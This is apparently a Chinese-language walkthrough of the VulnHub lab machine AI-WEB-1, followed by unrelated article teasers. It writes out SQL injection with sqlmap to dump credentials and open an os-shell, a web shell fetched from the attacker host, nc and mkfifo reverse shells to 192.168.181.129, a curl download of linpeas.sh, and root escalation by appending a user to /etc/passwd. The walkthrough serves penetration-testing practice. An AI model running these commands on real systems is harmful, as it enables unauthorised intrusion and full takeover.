AI-WEB-1 vulnhub靶场

AI-WEB-1

在这里插入图片描述

端口扫描

仅开放80端口

在这里插入图片描述

访问80端口

啥也没有

在这里插入图片描述

目录扫描

在这里插入图片描述

查看robots.txt

发现两个新目录
在这里插入图片描述

Disallow: /m3diNf0/
Disallow: /se3reTdir777/uploads/

全都无权限访问

在这里插入图片描述

加入路径后再次扫描目录

发现/m3diNf0/目录下存在info.php/se3reTdir777/目录下存在index.php

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

info.php是php配置文件,字太多暂时放一放

在这里插入图片描述

index.php有输入框,输入数字可查看用户信息,顺理成章想到sql注入

在这里插入图片描述

输入``时发现报错,直接上sqlmap

在这里插入图片描述

bp截获数据包,写入1.txt

在这里插入图片描述

sqlmap -r 1.txt -p uid

发现注入点

在这里插入图片描述

最后发现两个表usersystemUser
user表没用

在这里插入图片描述

sqlmap -r 1.txt -p uid -D aiweb1 -T systemUser -C username,password --dump

systemUser表内有password

在这里插入图片描述

看上去像base64,最后只有aiweb1pwn解出来了

在这里插入图片描述

MyEvilPass_f908sdaf9_sadfasf0sa

本来想ssh,才想起来没开放22端口

暂时没想到这个密码有什么用,先放一放

直接使用sqlmap开一个终端

sqlmap -r 1.txt -p uid --

os-shell需要一个写入目录,未知,回头看info.php
在这里插入图片描述

发现网站本地目录为/home/www/html/web1x443290o2sdf92213

os-shell需要一个上传文件的地方,于是刚好有/se3reTdir777/uploads/

连起来就是/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

在这里插入图片描述

直接反弹shell没成功,写入蚁剑反弹脚本

在攻击机上开启http服务

在这里插入图片描述

os-shell远程下载反弹shell脚本

在这里插入图片描述

蚁剑连接成功

在这里插入图片描述

蚁剑反弹shell

bash -i 没成功

在这里插入图片描述

改用nc -e /bin/bash 192.168.181.129 1234
在这里插入图片描述

发现不能使用-e参数

搜索后发现可以通过创建管道绕过-e参数

rm /tmp/f

mkfifo /tmp/f

 cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.181.129 1234 >/tmp/f

cat /tmp/f读取管道里的内容;/bin/sh -i 2>&1以交互方式运行/bin/sh,并将标准错误重定向到标准输出;nc ip port > /tmp/f连接 ip:port
并将输出重定向到/tmp/f。

这条命令的逻辑是这样的:cat /tmp/f等待并从命名管道中获取命令,然后将获取到的命令通过匿名管道发送到/bin/sh执行,然后/bin/sh将返回的结果再通过匿名管道发送给ncnc则将命令的结果发送到
ip:port ,如果 ip:port 再次输入的命令,那么这个命令被nc接收后会被重定向到/tmp/f

记得事先在攻击机开启监听

nc -lvnp 1234

在这里插入图片描述

查看用户目录,发现aiweb1,和刚刚数据库里查出来的用户吻合

在这里插入图片描述

su aiweb1

可惜没成功

在这里插入图片描述

上传linpeas.sh

curl http://192.168.181.129:8888/linpeas.sh -o linpeas.sh

执行

发现/etc/passwd可以任意写

在这里插入图片描述

创建一个用户写入

openssl passwd -1 -salt cccc 123456

echo 'cccc:$1$cccc$86ybZ4sfCXVS9DhweUEVb.:0:0::/root:/bin/bash' >> /etc/passwd

成功提权

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/679961.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

大文件上传处理:分卷压缩

大文件上传处理:分卷压缩 大文件上传处理:分卷压缩1、分卷压缩(1)Bandizip压缩工具:(2)分卷压缩后: 2、分卷压缩解压3、解压缩工具下载 大文件上传处理:分卷压缩 1、分卷…

将单列数据帧转换成多列数据帧

文章目录 1. 查看数据文件2. 读取数据文件得到单例数据帧3. 将单列数据帧转换成多列数据帧 在本次实战中,我们的目标是将存储在HDFS上的以逗号分隔的文本文件student.txt转换为结构化的Spark DataFrame。首先,使用spark.read.text读取文件,得…

Python | Leetcode Python题解之第132题分割回文串II

题目: 题解: class Solution:def minCut(self, s: str) -> int:n len(s)g [[True] * n for _ in range(n)]for i in range(n - 1, -1, -1):for j in range(i 1, n):g[i][j] (s[i] s[j]) and g[i 1][j - 1]f [float("inf")] * nfor …

TCP 建链(三次握手)和断链(四次握手)

TCP 建链(三次握手)和断链(四次挥手) 背景简介建链(三次握手)断链(四次挥手)序号及标志位延伸问题为什么建立连接需要握手三次,两次行不行?三次握手可以携带数…

【Vue】Vue生命周期

Vue生命周期:就是一个Vue实例从创建(new一个Vue实例) 到 销毁(关闭网页) 的整个过程。 生命周期四个阶段:① 创建 ② 挂载 ③ 更新 ④ 销毁 创建阶段:创建响应式数据 通过data给当前的Vue实例提…

【设计模式】结构型-适配器模式

前言 在软件开发中,经常会遇到需要将一个类的接口转换成另一个类的接口的情况。这可能是因为新旧系统之间的接口不兼容,或者是因为需要使用的第三方库的接口与当前系统的接口不匹配。为了解决这类问题,设计模式中的适配器模式应运而生。 一…

Leetcode3164. 优质数对的总数 II

Every day a Leetcode 题目来源:3164. 优质数对的总数 II 解法1:统计因子 遍历 nums1,统计所有元素的因子个数,记录到哈希表 cnt 中。 遍历 nums2,那么有 cnt[nums2[i]*k] 个数可以被 nums2[i]*k 整除,…

容器化部署Pig微服务快速开发框架

系统说明 基于 Spring Cloud 、Spring Boot、 OAuth2 的 RBAC 企业快速开发平台, 同时支持微服务架构和单体架构 提供对 Spring Authorization Server 生产级实践,支持多种安全授权模式 提供对常见容器化方案支持 Kubernetes、Rancher2 、Kubesphere、E…

南昌代理记账公司的收费标准及咨询服务

随着现代商业的快速发展,对于财务管理的需求也在不断增加,作为一家专业的会计代理公司,我们的目标是为各类企业提供全面、高效的财务管理服务,任何服务都应以公平合理的价格为基础,我们一直坚持这一原则。 关于常州代…

NDIS网络接口

在windows发行版本中,真的存在一个 ndis.sys 的驱动文件,和我们认知的不太一样,它真的是一个DLL,NDIS 库打包在 Ndis.sys(一个内核模式导出库)中,作为一组函数,强调宏以获得最佳性能…

0基础学习区块链技术——链之间数据同步样例

我们可以在https://blockchaindemo.io/体验这个过程。 创建区块 默认第一个链叫Satoshi(中本聪)。链上第一个区块叫“创世区块”——Genesis Block。后面我们会看到创建的第二条链第一个区块也是如此。 新增链 新创建的链叫Debby。默认上面有一个创世区块。 然后我们让这…

可视化数据科学平台在信贷领域应用系列一:数据探索

引言 信贷风险数据建模是金融机构在数据量日益庞杂的时代进行信贷业务风控的关键技术。它能够帮助机构更好地控制风险、减少违约损失,并提高业务效率。通过不断优化建模方法和利用建模工具,金融机构的风险控制能力得到了显著提升。 在本文中,…

python数据分析——逻辑回归

参考资料:活用pandas库 逻辑回归 当响应变量为二值响应变量时,经常使用逻辑回归对数据建模。 # 导入pandas库 import pandas as pd # 导入数据集 acspd.read_csv(r"...\data\acs_ny.csv") # 展示数据列 print(acs.columns) # 展示数据集 pri…

MongoDB CRUD操作:可重试写入

MongoDB CRUD操作:可重试写入 文章目录 MongoDB CRUD操作:可重试写入使用的先决条件部署的限制支持的存储引擎3.6 MongoDB 驱动程序MongoDB 版本写确认 可重试写入和多文档事务启用可重试写入MongoDB驱动mongosh 可重试的写操作行为持续的网络错误故障切…

Python版《消消乐》,附源码

曾经风靡一时的消消乐,至今坐在地铁上都可以看到很多人依然在玩,想当年我也是大军中的一员,那家伙,吃饭都在玩,进入到高级的那种胜利感还是很爽的,连续消,无限消,哈哈,现…

开源数据库同步工具DBSyncer-数据库的连接

开源数据库同步工具DBSyncer使用的是什么数据库呢? 查看连接信息,如下: 如上图可知,DBSyncer支持两种方式的数据库连接方式, #storage #数据存储类型:disk(默认)/mysql(推荐生产环境使用) #disk-磁盘:/data/config(驱…

基于Java的敬老院管理系统设计和实现(论文 + 源码)

【免费】基于Java的敬老院管理系统设计和实现.zip资源-CSDN文库https://download.csdn.net/download/JW_559/89399326 基于Java的敬老院管理系统设计和实现 摘 要 新世纪以来,互联网与计算机技术的快速发展,我国也迈进网络化、集成化的信息大数据时代。对于大众而言,单机应用早…

Git版本控制:核心概念、操作与实践

Git是一种分布式版本控制系统,被广泛应用于软件开发过程中。本文将介绍Git的核心概念、常用操作以及最佳实践,帮助读者掌握Git的基本技巧,提高团队协作效率。 一、引言 在软件开发过程中,版本控制是至关重要的。它能帮助我们跟踪…

推导Hessian of XPBD

记 M后面新增的部分为H H − ∂ 2 C ∂ x 2 λ H - \frac{\partial^2 C}{\partial x^2} \lambda H−∂x2∂2C​λ 那么如何求C的二阶导数呢 使用 https://www.matrixcalculus.org/

java自学阶段二:JavaWeb开发--day80(项目实战2之苍穹外卖)

《项目案例—黑马苍穹外卖》 目录: 学习目标项目介绍前端环境搭建(前期直接导入老师的项目,后期自己敲)后端环境搭建(导入初始项目,新建仓库使用git管理项目,新建数据库,修改登录功能&#xff…